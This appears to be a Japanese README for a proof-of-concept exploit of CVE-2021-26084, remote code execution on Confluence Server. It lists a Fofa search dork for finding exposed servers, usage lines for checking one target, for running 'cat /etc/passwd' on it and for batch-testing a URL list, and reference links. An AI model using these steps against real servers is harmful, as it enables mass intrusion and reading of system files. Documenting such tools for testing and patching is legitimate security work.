CVE-2021-26084

CVE-2021-26084 Confluenceサーバー上でのリモートコード実行。

Dork

Fofa:

app="ATLASSIAN-Confluence"

使用方法

ヘルプ情報を表示します。

python PoC.py

個別のWebサイトに対する脆弱性確認。

python PoC.py -u https://1.1.1.1

コマンド実行。

python PoC.py -u https://1.1.1.1 -e 'cat /etc/passwd'

バッチテスト。

python PoC.py -f urls.txt

参考

• https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
• https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26084.yaml
• https://github.com/h3v0x/CVE-2021-26084_Confluence/